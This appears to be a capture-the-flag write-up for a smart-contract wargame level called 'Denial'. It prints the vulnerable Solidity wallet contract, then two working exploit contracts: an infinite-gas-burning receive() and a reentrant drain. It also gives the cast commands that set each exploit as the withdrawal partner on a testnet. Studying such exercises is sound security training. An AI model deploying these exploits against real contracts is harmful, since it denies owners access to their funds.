This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

The code of the challenge’s contract is the following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

We need to create a DoS of the contract when the owner executes the function withdraw. We control the partner address (through the setWithdrawPartner function), to which a call is made that does not specify a fixed gas limit.

We can DoS this contract in a few different ways.

First solution

As said before, there is no limit in the gas that the call is allowed to spend. Therefore, we can define the receive function of our partner to be simply an infinite loop, spending all the gas received. Depending on how much gas the caller sent initially, the transaction won’t have enough gas left to finish executing the rest of the opcodes.

We can use this contract:

contract Exploit {
    receive() external payable {
        while(true) {}
    } 
}

This contract was deployed at 0x043d03f86dd57b977E70631a95fe7845FD088b75. Let’s make it a partner:

cast send 0x6AC3c121a2a8400FB0e6483028414836e65F202e "setWithdrawPartner(address)" 0x043d03f86dd57b977E70631a95fe7845FD088b75 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

And submit the isntance:

alt text

Second solution

I came up with another solution that is not based on spending all the gas received. Instead, it makes the transfer function fail using reentrancy. The logic is: if the challenge does not have enough ether, the transaction will fail.

The withdraw function hands out the same amount to the partner and to the owner. We can call the withdraw function several times until there is no enough ether left for the owner:

contract Exploit {
    receive() external payable {
        if (address(this).balance < msg.sender.balance){
            Denial(msg.sender).withdraw();
        }
    }
}

The if condition makes the exploit spend the least amount of ether possible. The contract was deployed at 0xA5743Aaa06Dd631897c316FE1a234194d2E9BFB2. We make it a partner and solve the challenge:

cast send 0x6AC3c121a2a8400FB0e6483028414836e65F202e "setWithdrawPartner(address)" 0xA5743Aaa06Dd631897c316FE1a234194d2E9BFB2 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

alt text